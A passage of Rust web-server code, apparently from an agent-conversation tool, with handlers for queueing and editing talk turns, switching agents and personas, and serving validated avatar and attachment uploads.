#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct EditTalkPending {
#[serde(default)]
message: Option<usize>,
text: String,
expected_text: String,
expected_attachments: Vec<String>,
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct ClearTalkPending {
expected_text: String,
expected_attachments: Vec<String>,
}
async fn talk_say(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
) -> ApiResult<(StatusCode, Json<TalkView>)> {
let admission = ui.begin_admission()?;
admitted(admission, async move {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
if body.text.trim().is_empty() && body.attachments.is_empty() {
return Err(ApiError::bad_request("say something"));
}
let id = {
let ui = Arc::clone(&ui);
let asked = id.clone();
blocking(move || resolve_talk(&ui.talks, &asked)).await?
};
{
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || {
let talk = ui.talks.get(&id)?;
if !talk.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
talk.short(),
talk.status.as_str()
)));
}
Ok(())
})
.await?;
}
let attachments = {
let ui = Arc::clone(&ui);
let id = id.clone();
let ids = body.attachments.clone();
blocking(move || {
ids.into_iter()
.map(|att_id| {
ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
ApiError::bad_request(format!("unknown attachment `{att_id}`"))
})
})
.collect::<ApiResult<Vec<talk::Attachment>>>()
})
.await?
};
let _publication = crate::consult::publication_guard(&ui.talks, &id)
.await.map_err(ApiError::from)?;
let start = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
};
let turn_guard = match start {
TalkTurnStart::Claimed(turn_guard) => turn_guard,
TalkTurnStart::Pending => {
return Err(ApiError::conflict(
"a queued draft is waiting; resume it, edit it, or clear it before sending another message",
));
}
TalkTurnStart::Foreign => {
return Err(ApiError::conflict(
"a turn is already running in another process; try again when it has finished",
));
}
TalkTurnStart::Busy => {
let (tx, rx) = tokio::sync::oneshot::channel();
tokio::spawn({
let ui = Arc::clone(&ui);
let id = id.clone();
let said = body.text.clone();
let reply_to = body.reply_to.clone();
async move {
let written = blocking({
let ui = Arc::clone(&ui);
let id = id.clone();
move || {
let mut talk = ui.talks.get(&id)?;
#[cfg(test)]
if let Some(gate) = ui
.busy_queue_gate
.lock()
.unwrap_or_else(PoisonError::into_inner)
.take()
{
let _ = gate.reached.send(());
let _ = gate.release.recv();
}
if let Err(error) = talk::queue_reply(
&mut talk,
&ui.talks,
&said,
attachments,
reply_to,
) {
if let Ok(fresh) = ui.talks.get(&id) {
if !fresh.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
fresh.short(),
fresh.status.as_str()
)));
}
}
return Err(
if error.to_string().contains("invalid reply target") {
ApiError::bad_request("invalid reply target")
} else {
ApiError::from(error)
},
);
}
let claim = match ui.begin_queued_talk_turn(&id)? {
Some(turn_guard) => {
let (cfg, _) = Config::discover(&talk.repo, None)?;
Some((talk.clone(), cfg, turn_guard))
}
None => None,
};
let thinking = ui.is_thinking(&id);
Ok((TalkView::new(talk, thinking, &ui), claim))
}
})
.await;
#[cfg(not(test))]
{
match written {
Ok((view, reclaimed)) => {
let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
drop(reclaimed);
match launched {
Ok(_) => { let _ = tx.send(Ok(view)); }
Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
}
}
Err(error) => { let _ = tx.send(Err(error)); }
}
}
#[cfg(test)]
{
let (view, reclaimed) = match written {
Ok(pair) => pair,
Err(e) => {
let _ = tx.send(Err(e));
return;
}
};
let _ = tx.send(Ok(view));
if let Some((talk, cfg, turn_guard)) = reclaimed {
let talks = ui.talks.clone();
drain_loop(talk, talks, cfg, id, turn_guard).await;
}
}
}
});
let view = rx
.await
.map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
return Ok((StatusCode::ACCEPTED, Json(view)));
}
};
let (talk, cfg) = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || {
let talk = ui.talks.get(&id)?;
let (cfg, _) = Config::discover(&talk.repo, None)?;
Ok((talk, cfg))
})
.await?
};
let talks = ui.talks.clone();
let (tx, rx) = tokio::sync::oneshot::channel();
tokio::spawn({
#[cfg(test)]
let ui = Arc::clone(&ui);
let talks = talks.clone();
let id = id.clone();
let said = body.text.clone();
let reply_to = body.reply_to.clone();
let mut talk = talk.clone();
async move {
let recorded = blocking({
let talks = talks.clone();
move || {
if let Err(error) =
talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
{
if let Ok(fresh) = talks.get(&talk.id) {
if !fresh.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
fresh.short(),
fresh.status.as_str()
)));
}
}
return Err(if error.to_string().contains("invalid reply target") {
ApiError::bad_request("invalid reply target")
} else {
ApiError::from(error)
});
}
Ok((said.trim().to_owned(), talk))
}
})
.await;
let (text, talk) = match recorded {
Ok(pair) => pair,
Err(e) => {
let _ = tx.send(Err(e));
return;
}
};
#[cfg(not(test))]
{
let _ = (&cfg, &text);
let result = crate::consult::spawn_recorded_turn(
&talks, &id, talk.turns.len() - 1,
).await;
drop(turn_guard);
match result {
Ok(_) => { let _ = tx.send(Ok((talk, true))); }
Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
}
}
#[cfg(test)]
{
let queued = talk.clone();
let mut talk = talk;
let thinking = ui.is_thinking(&id);
let _ = tx.send(Ok((queued, thinking)));
if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
tracing::warn!("talk {id} turn failed: {e:#}");
}
drain_loop(talk, talks, cfg, id, turn_guard).await;
}
}
});
let (queued, thinking) = rx
.await
.map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
Ok((
StatusCode::ACCEPTED,
Json(TalkView::new(queued, thinking, &ui)),
))
}).await
}
async fn talk_pending_resume(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<(StatusCode, Json<TalkView>)> {
let admission = ui.begin_admission()?;
admitted(admission, async move {
let id = {
let ui = Arc::clone(&ui);
let asked = id.clone();
blocking(move || resolve_talk(&ui.talks, &asked)).await?
};
let _publication = crate::consult::publication_guard(&ui.talks, &id)
.await
.map_err(ApiError::from)?;
let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
return Err(ApiError::conflict(
"a talk turn is already running; the queued draft will be handled by it",
));
};
let (talk, cfg) = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || {
let talk = ui.talks.get(&id)?;
if !talk.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
talk.short(),
talk.status.as_str()
)));
}
if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
return Err(ApiError::conflict("there is no queued draft to resume"));
}
let (cfg, _) = Config::discover(&talk.repo, None)?;
Ok((talk, cfg))
})
.await?
};
let view = TalkView::new(talk.clone(), true, &ui);
let talks = ui.talks.clone();
#[cfg(not(test))]
detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
#[cfg(test)]
tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
Ok((StatusCode::ACCEPTED, Json(view)))
})
.await
}
#[cfg(not(test))]
async fn detach_talk_turn(
_talk: Talk,
talks: Talks,
_cfg: Config,
id: String,
turn: TalkTurnGuard,
) -> ApiResult<()> {
let launched = crate::consult::spawn_turn(&talks, &id).await;
drop(turn);
launched.map(|_| ()).map_err(ApiError::from)
}
#[cfg(test)]
async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
drain_loop_started(talk, talks, cfg, id, turn, None).await;
}
async fn settle_settings_turn(
talk: Talk,
talks: Talks,
cfg: Config,
id: String,
turn: TalkTurnGuard,
observed: u64,
) -> bool {
if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
let turns = Arc::clone(&turn.turns);
let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
if live.queued.get(&id).copied().unwrap_or(0) == observed {
turn.release(&mut live);
return false;
}
}
let (started, settled) = tokio::sync::oneshot::channel();
tokio::spawn(drain_loop_started(
talk,
talks,
cfg,
id,
turn,
Some(started),
));
settled.await.unwrap_or(false)
}
#[cfg(not(test))]
async fn drain_loop_started(
talk: Talk,
talks: Talks,
_cfg: Config,
id: String,
turn: TalkTurnGuard,
started: Option<tokio::sync::oneshot::Sender<bool>>,
) {
let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
let running = if pending {
match crate::consult::spawn_turn(&talks, &id).await {
Ok(_) => true,
Err(error) => {
tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
false
}
}
} else {
false
};
drop(turn);
if let Some(started) = started {
let _ = started.send(running);
}
}
#[cfg(test)]
async fn drain_loop_started(
mut talk: Talk,
talks: Talks,
cfg: Config,
id: String,
turn: TalkTurnGuard,
mut started: Option<tokio::sync::oneshot::Sender<bool>>,
) {
let live_set = Arc::clone(&turn.turns);
let mut turn = Some(turn);
loop {
if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
tracing::warn!("talk {id} lost its turn lease; not draining further");
let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
if let Some(turn) = turn.take() {
turn.release(&mut live);
}
break;
}
let observed = live_set
.lock()
.unwrap_or_else(PoisonError::into_inner)
.queued
.get(&id)
.copied()
.unwrap_or(0);
let drained = blocking({
let talks = talks.clone();
move || {
let result = talk::drain(&mut talk, &talks);
Ok((talk, result))
}
})
.await;
let (next_talk, result) = match drained {
Ok(drained) => drained,
Err(e) => {
tracing::warn!(
status = %e.status,
message = %e.message,
"talk {id} could not start queued-text drain"
);
let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
turn.take()
.expect("held for the whole loop until released here")
.release(&mut live);
break;
}
};
talk = next_talk;
let drained = match result {
Ok(Some(drained)) => drained,
Ok(None) => {
let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
if live.queued.get(&id).copied().unwrap_or(0) != observed {
continue;
}
turn.take()
.expect("held for the whole loop until released here")
.release(&mut live);
break;
}
Err(e) => {
tracing::warn!("talk {id} could not drain queued text: {e:#}");
let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
turn.take()
.expect("held for the whole loop until released here")
.release(&mut live);
break;
}
};
if let Some(started) = started.take() {
let _ = started.send(true);
}
let responded = match turn.as_ref() {
Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
None => Err(anyhow::anyhow!("the turn guard was released")),
};
if let Err(e) = responded {
tracing::warn!("talk {id} turn failed: {e:#}");
}
}
drop(turn);
if let Some(started) = started {
let _ = started.send(false);
}
}
async fn talk_pending_clear(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
) -> ApiResult<Json<TalkView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
blocking(move || {
let id = resolve_talk(&ui.talks, &id)?;
let mut talk = ui.talks.get(&id)?;
if !talk.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
talk.short(),
talk.status.as_str()
)));
}
if !talk::clear_pending_if_matches(
&mut talk,
&ui.talks,
&body.expected_text,
&body.expected_attachments,
)? {
return Err(ApiError::conflict(
"queued message changed; reload it before clearing",
));
}
let thinking = ui.is_thinking(&talk.id);
Ok(Json(TalkView::new(talk, thinking, &ui)))
})
.await
}
async fn talk_pending_edit(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
) -> ApiResult<Json<TalkView>> {
let admission = ui.begin_admission()?;
admitted(admission, async move {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
let id = {
let ui = Arc::clone(&ui);
blocking(move || resolve_talk(&ui.talks, &id)).await?
};
let _publication = crate::consult::publication_guard(&ui.talks, &id)
.await
.map_err(ApiError::from)?;
let (view, reclaimed) = blocking({
let ui = Arc::clone(&ui);
move || {
let mut talk = ui.talks.get(&id)?;
if !talk.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
talk.short(),
talk.status.as_str()
)));
}
if !talk::edit_pending_message(
&mut talk,
&ui.talks,
&body.text,
&body.expected_text,
&body.expected_attachments,
body.message,
)? {
return Err(ApiError::conflict(
"queued message changed; reload it before editing",
));
}
let claim = match ui.begin_queued_talk_turn(&id)? {
Some(turn_guard) => {
let (cfg, _) = Config::discover(&talk.repo, None)?;
Some((talk.clone(), cfg, id.clone(), turn_guard))
}
None => None,
};
let thinking = ui.is_thinking(&id);
Ok((TalkView::new(talk, thinking, &ui), claim))
}
})
.await?;
if let Some((talk, cfg, id, turn_guard)) = reclaimed {
let talks = ui.talks.clone();
#[cfg(not(test))]
detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
#[cfg(test)]
tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
}
Ok(Json(view))
})
.await
}
fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
if talk.status.open() {
return Ok(());
}
Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
talk.short(),
talk.status.as_str()
)))
}
#[derive(Debug, Deserialize)]
struct TalkAgent {
agent: String,
}
async fn talk_agent(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
Json(body): Json<TalkAgent>,
) -> ApiResult<Json<TalkView>> {
let admission = ui.begin_admission()?;
admitted(admission, async move {
let id = {
let ui = Arc::clone(&ui);
blocking(move || resolve_talk(&ui.talks, &id)).await?
};
let _publication = crate::consult::publication_guard(&ui.talks, &id)
.await
.map_err(ApiError::from)?;
let repo = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
};
let cfg = config_for(&repo).await?;
{
let ui = Arc::clone(&ui);
let id = id.clone();
let cfg = cfg.clone();
let wanted = body.agent.clone();
blocking(move || {
agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
.map_err(ApiError::bad_request_from)?;
refuse_if_closed(&ui.talks.get(&id)?)
})
.await?;
}
let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
return Err(ApiError::conflict(
"a talk turn is running; change the agent once it has answered",
));
};
let switched = {
let ui = Arc::clone(&ui);
let id = id.clone();
let cfg = cfg.clone();
blocking(move || {
let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
.map_err(ApiError::bad_request_from)?;
let mut talk = ui.talks.get(&id)?;
if !talk.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
talk.short(),
talk.status.as_str()
)));
}
talk::switch_agent(&mut talk, &ui.talks, &spec)?;
Ok(talk)
})
.await
};
let observed = ui.queued_generation(&id);
let fresh = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || Ok(ui.talks.get(&id)?)).await
};
let draining = match fresh {
Ok(talk) => {
settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
}
Err(_) => false,
};
let talk = switched?;
Ok(Json(TalkView::new(talk, draining, &ui)))
})
.await
}
#[derive(Debug, Deserialize)]
struct TalkPersona {
persona: String,
}
async fn talk_persona(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
Json(body): Json<TalkPersona>,
) -> ApiResult<Json<TalkView>> {
let admission = ui.begin_admission()?;
admitted(admission, async move {
let id = {
let ui = Arc::clone(&ui);
blocking(move || resolve_talk(&ui.talks, &id)).await?
};
let _publication = crate::consult::publication_guard(&ui.talks, &id)
.await
.map_err(ApiError::from)?;
let repo = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
};
let cfg = config_for(&repo).await?;
{
let ui = Arc::clone(&ui);
let id = id.clone();
let cfg = cfg.clone();
let wanted = body.persona.clone();
blocking(move || {
if persona::find(&cfg.talk.personas, &wanted).is_none() {
return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
}
refuse_if_closed(&ui.talks.get(&id)?)
})
.await?;
}
let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
return Err(ApiError::conflict(
"a talk turn is running; change the persona once it has answered",
));
};
let switched = {
let ui = Arc::clone(&ui);
let id = id.clone();
let cfg = cfg.clone();
blocking(move || {
let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
return Err(ApiError::bad_request(format!(
"unknown persona `{}`",
body.persona
)));
};
let mut talk = ui.talks.get(&id)?;
if !talk.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
talk.short(),
talk.status.as_str()
)));
}
talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
Ok(talk)
})
.await
};
let observed = ui.queued_generation(&id);
let fresh = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || Ok(ui.talks.get(&id)?)).await
};
let draining = match fresh {
Ok(talk) => {
settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
}
Err(_) => false,
};
let talk = switched?;
Ok(Json(TalkView::new(talk, draining, &ui)))
})
.await
}
#[derive(Debug, Deserialize)]
struct TalkImplementers {
implementers: u8,
}
async fn talk_implementers(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
Json(body): Json<TalkImplementers>,
) -> ApiResult<Json<TalkView>> {
let admission = ui.begin_admission()?;
admitted(admission, async move {
let id = {
let ui = Arc::clone(&ui);
blocking(move || resolve_talk(&ui.talks, &id)).await?
};
let _publication = crate::consult::publication_guard(&ui.talks, &id)
.await
.map_err(ApiError::from)?;
let repo = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
};
let cfg = config_for(&repo).await?;
{
let ui = Arc::clone(&ui);
let id = id.clone();
let cfg = cfg.clone();
let wanted = body.implementers;
blocking(move || {
talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
refuse_if_closed(&ui.talks.get(&id)?)
})
.await?;
}
let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
return Err(ApiError::conflict(
"a talk turn is running; change the implementers once it has answered",
));
};
let switched = {
let ui = Arc::clone(&ui);
let id = id.clone();
let cfg = cfg.clone();
blocking(move || {
let chosen = talk::check_implementers(body.implementers, &cfg)
.map_err(ApiError::bad_request)?;
let mut talk = ui.talks.get(&id)?;
if !talk.status.open() {
return Err(ApiError::conflict(format!(
"talk {} is {} and takes no more turns",
talk.short(),
talk.status.as_str()
)));
}
talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
Ok(talk)
})
.await
};
let observed = ui.queued_generation(&id);
let fresh = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || Ok(ui.talks.get(&id)?)).await
};
let draining = match fresh {
Ok(talk) => {
settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
}
Err(_) => false,
};
let talk = switched?;
Ok(Json(TalkView::new(talk, draining, &ui)))
})
.await
}
async fn talk_close(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<TalkView>> {
blocking(move || {
let id = resolve_talk(&ui.talks, &id)?;
let mut talk = ui.talks.get(&id)?;
talk::close(&mut talk, &ui.talks)?;
let thinking = ui.is_thinking(&talk.id);
Ok(Json(TalkView::new(talk, thinking, &ui)))
})
.await
}
async fn talk_reopen(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<TalkView>> {
blocking(move || {
let id = resolve_talk(&ui.talks, &id)?;
let mut talk = ui.talks.get(&id)?;
talk::reopen(&mut talk, &ui.talks)?;
let thinking = ui.is_thinking(&talk.id);
Ok(Json(TalkView::new(talk, thinking, &ui)))
})
.await
}
async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
blocking(move || {
let id = resolve_talk(&ui.talks, &id)?;
ui.talks.remove(&id)?;
Ok(StatusCode::NO_CONTENT)
})
.await
}
fn talk_ids(root: &FsPath) -> Vec<String> {
std::fs::read_dir(root)
.into_iter()
.flatten()
.flatten()
.filter_map(|e| {
let path = e.path();
if path.extension().is_some_and(|ext| ext == "json") {
path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
} else {
None
}
})
.collect()
}
fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
if plain_record_id(id) && store.path_of(id).is_file() {
return Ok(id.to_owned());
}
pick(talk_ids(store.root()), id, "talk")
}
async fn talk_attachment_post(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
headers: HeaderMap,
body: Bytes,
) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
let mime = validate_attachment(&headers, &body)?;
let name = filename_header(&headers);
let data = body.to_vec();
blocking(move || {
let id = resolve_talk(&ui.talks, &id)?;
let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
Ok((StatusCode::CREATED, Json(att)))
})
.await
}
async fn talk_attachment_get(
State(ui): State<Arc<Ui>>,
Path((id, att)): Path<(String, String)>,
) -> ApiResult<Response> {
blocking(move || {
let id = resolve_talk(&ui.talks, &id)?;
let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
return Err(ApiError::not_found(format!(
"talk {id} has no attachment `{att}`"
)));
};
Ok(attachment_response(&meta.mime, data))
})
.await
}
fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
let id = avatar_encode(&p.id);
format!(
"/api/talks/{talk_id}/avatar?persona={id}&v={}",
persona_icon::fingerprint(
effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
)
)
}
#[derive(Debug, Default, Deserialize)]
struct AvatarQuery {
persona: Option<String>,
builtin: Option<String>,
}
const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
fn builtin_avatar(id: &str) -> Response {
svg_avatar(persona_icon::builtin_svg(id))
}
async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
raster_or_builtin(
read_icon_file(&avatar_setting_path(&ui.home, None))
.filter(|_| q.builtin.is_none())
.as_deref(),
persona_icon::operator_svg(),
)
}
fn svg_avatar(svg: &'static str) -> Response {
(
[
(header::CONTENT_TYPE, "image/svg+xml"),
(header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
(header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
(header::CACHE_CONTROL, "no-cache"),
],
svg,
)
.into_response()
}
fn avatar_encode(value: &str) -> String {
value
.bytes()
.map(|b| {
if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
char::from(b).to_string()
} else {
format!("%{b:02X}")
}
})
.collect()
}
fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
let Some(id) = persona else {
return home.join("avatars/operator.data");
};
let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
let mut path = home.join("avatars/personas");
for chunk in encoded.as_bytes().chunks(100) {
path.push(std::str::from_utf8(chunk).expect("hex"));
}
path.join("icon.data")
}
fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
match read_icon_file(&avatar_setting_path(home, Some(id))) {
Some(value) if value == "builtin" => Some(String::new()),
Some(value) => Some(value),
None => configured.map(str::to_owned),
}
}
fn operator_icon_url(home: &FsPath) -> String {
format!(
"/avatars/operator.svg?v={}",
persona_icon::fingerprint(
read_icon_file(&avatar_setting_path(home, None))
.as_deref()
.or(Some(persona_icon::operator_svg()))
)
)
}
fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
attachment_response(mime, bytes)
}
_ => svg_avatar(builtin),
};
response
.headers_mut()
.insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
response
}
#[derive(Default, Deserialize)]
struct AvatarSettingsQuery {
repo: Option<PathBuf>,
persona: Option<String>,
builtin: Option<String>,
inherit: Option<String>,
}
fn avatar_settings_specs(
ui: &Ui,
repo: Option<PathBuf>,
) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
.map(|cfg| cfg.talk.personas)
.unwrap_or_default();
Ok((repo, specs))
}
fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
let Ok(entries) = std::fs::read_dir(path) else {
return;
};
for entry in entries.flatten() {
let name = entry.file_name().to_string_lossy().into_owned();
if name == "icon.data" {
let bytes: Option<Vec<u8>> = prefix
.as_bytes()
.chunks(2)
.map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
.collect();
if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
out.push(id);
}
} else if name.len() <= 100
&& !name.is_empty()
&& name.bytes().all(|b| b.is_ascii_hexdigit())
&& entry.file_type().is_ok_and(|t| t.is_dir())
{
saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
}
}
}
async fn avatar_settings_get(
State(ui): State<Arc<Ui>>,
Query(q): Query<AvatarSettingsQuery>,
) -> ApiResult<Json<serde_json::Value>> {
blocking(move || {
let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
let mut catalog = persona::catalog(&specs);
let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
let mut saved = Vec::new();
saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
for id in saved {
if !catalog.iter().any(|p| p.id == id) {
catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
}
}
let personas: Vec<_> = catalog.iter().map(|p| {
let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
let override_state = match saved.as_deref() {
Some("builtin") => "builtin",
Some(_) => "custom",
None => "inherit",
};
let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
serde_json::json!({"id":p.id,"name":p.name,
"override_state":override_state,"has_config_icon":p.icon.is_some(),
"is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
}).collect();
Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
}).await
}
async fn settings_persona_avatar(
State(ui): State<Arc<Ui>>,
Query(q): Query<AvatarSettingsQuery>,
) -> ApiResult<Response> {
blocking(move || {
let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
let found = persona::find(&specs, id);
let icon =
effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
Ok(raster_or_builtin(
icon.as_deref().filter(|_| q.builtin.is_none()),
persona_icon::builtin_svg(id),
))
})
.await
}
fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
if q.persona
.as_ref()
.is_some_and(|p| p.is_empty() || p.len() > 4096)
{
return Err(ApiError::bad_request("invalid persona id"));
}
Ok(())
}
async fn avatar_settings_put(
State(ui): State<Arc<Ui>>,
Query(q): Query<AvatarSettingsQuery>,
Json(upload): Json<MagiIconUpload>,
) -> ApiResult<Json<serde_json::Value>> {
blocking(move || {
validate_avatar_target(&q)?;
save_icon_file(
&avatar_setting_path(&ui.home, q.persona.as_deref()),
&upload.icon,
)
.map_err(ApiError::bad_request_from)?;
Ok(Json(serde_json::json!({"saved":true})))
})
.await
}
async fn avatar_settings_delete(
State(ui): State<Arc<Ui>>,
Query(q): Query<AvatarSettingsQuery>,
) -> ApiResult<Json<serde_json::Value>> {
blocking(move || {
validate_avatar_target(&q)?;
let path = avatar_setting_path(&ui.home, q.persona.as_deref());
if q.persona.is_some() && q.inherit.is_none() {
atomic_icon_write(&path, "builtin")?;
} else {
match std::fs::remove_file(path) {
Ok(()) => (),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
Err(e) => return Err(anyhow::Error::from(e).into()),
}
}
Ok(Json(serde_json::json!({"saved":true})))
})
.await
}
fn magi_icon_path(home: &FsPath) -> PathBuf {
home.join("magi-icon.data")
}
fn read_magi_icon(home: &FsPath) -> Option<String> {
read_icon_file(&magi_icon_path(home))
}
fn read_icon_file(path: &FsPath) -> Option<String> {
let metadata = std::fs::metadata(path).ok()?;
if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
return None;
}
let file = std::fs::File::open(path).ok()?;
use std::io::Read;
let mut text = String::new();
file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
.read_to_string(&mut text)
.ok()?;
if text.len() > persona_icon::ICON_MAX_BYTES {
return None;
}
if text == "builtin" {
return Some(text);
}
validate_uploaded_icon(&text).ok()?;
Some(text)
}
fn magi_icon_url(home: &FsPath) -> String {
format!(
"/avatars/magi?v={}",
persona_icon::fingerprint(read_magi_icon(home).as_deref())
)
}
async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
}
#[derive(Deserialize)]
struct MagiIconUpload {
icon: String,
}
fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
save_icon_file(&magi_icon_path(home), icon)
}
fn validate_uploaded_icon(icon: &str) -> Result<()> {
if !icon.starts_with("data:") {
anyhow::bail!("upload a raster image");
}
let (mime, bytes) = persona_icon::load(icon)?;
if sniffed_mime(&bytes) != Some(mime) {
anyhow::bail!("image content does not match its type");
}
Ok(())
}
fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
validate_uploaded_icon(icon)?;
atomic_icon_write(path, icon)
}
fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
